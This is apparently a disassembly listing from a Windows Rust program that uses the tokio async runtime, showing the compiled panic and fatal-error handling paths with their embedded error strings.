lea rcx, [rbp + 0x1e8]
call fcn.14011b520
lea rax, str.not_a_CurrentThread_handle
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
lea rdx, str.C:UsersCodeX.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermod.rs
lea rcx, [rbp + 0x1e8]
call fcn.14011b520
imul eax, ecx, 0x64
mov qword [rbp + 0x1e8], rdx
mov dword [rbp + 0x1f0], eax
lea rax, [0x140151020]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140150c08]
lea r8, [rbp + 0x1e8]
mov edx, 0x2b
call fcn.14011b890
lea rax, str.expected__CurrentThread::Context_
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm0
lea rdx, str.C:UsersCodeX.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rstask__was_cancelled
lea rcx, [rbp + 0x1e8]
call fcn.14011b520
lea rcx, str.C:UsersCodeX.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rstask__was_cancelled
call fcn.14011b7d0
lea rcx, str.core_missing
lea r8, str.C:UsersCodeX.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rstask__was_cancelled
mov edx, 0xc
call fcn.14011b950
lea rax, str.a_spawned_task_panicked_and_the_runtime_is_configured_to_shut_down_on_unhandled_panic
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
lea rdx, str.C:UsersCodeX.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rstask__was_cancelled
lea rcx, [rbp + 0x1e8]
call fcn.14011b520
lea rcx, str.C:UsersCodeX.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rstask__was_cancelled
call fcn.14011b7d0
lea rcx, [0x140161418]
call fcn.14011b830
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401625b8]
mov edx, 0x27
call fcn.14011b5f0
mov dword [rbp - 0x48], 0
mov byte [rbp - 0x44], 0
lea rax, str.fatal_runtime_error:_the_global_allocator_may_not_use_TLS_with_destructors_n
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
lea rax, [rbp + 0x560]
mov qword [rbp + 0x1f8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
lea rcx, [rbp - 0x48]
lea rdx, [rbp + 0x1e8]
call fcn.1400e7290
mov qword [rbp + 0x50], rax
lea rcx, [rbp + 0x50]
call fcn.1400e7350
mov ecx, 7
int 0x29
ud2